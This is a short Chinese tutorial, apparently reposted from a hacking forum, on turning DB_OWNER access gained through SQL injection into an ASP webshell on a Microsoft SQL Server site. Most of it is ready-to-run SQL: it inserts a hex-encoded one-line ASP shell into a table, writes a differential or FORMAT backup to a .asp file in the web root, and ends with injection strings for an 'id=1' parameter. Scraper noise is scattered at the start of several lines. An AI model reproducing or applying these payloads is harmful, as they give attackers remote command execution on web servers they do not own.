DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

一利用差异备份
0 A4 @! z1 v3 J' Q加一个参数WITH DIFFERENTIAL

: c7 X3 b( J9 x1 A6 d$ udeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
  `8 V$ |, y( S4 Mcreate table [dbo].[xiaolu] ([cmd] [image]);
3 |6 h  [  y$ L; \# Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
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二利用完全FORMAT
9 x" g4 d; D$ i加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
5 X! p' O- x! e- ^4 a& Icreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
# ]$ G2 ^5 f( l3 |7 Z  l! ^0 }4 ^
1 @. l4 c8 L$ h6 M# V1 H0 Kid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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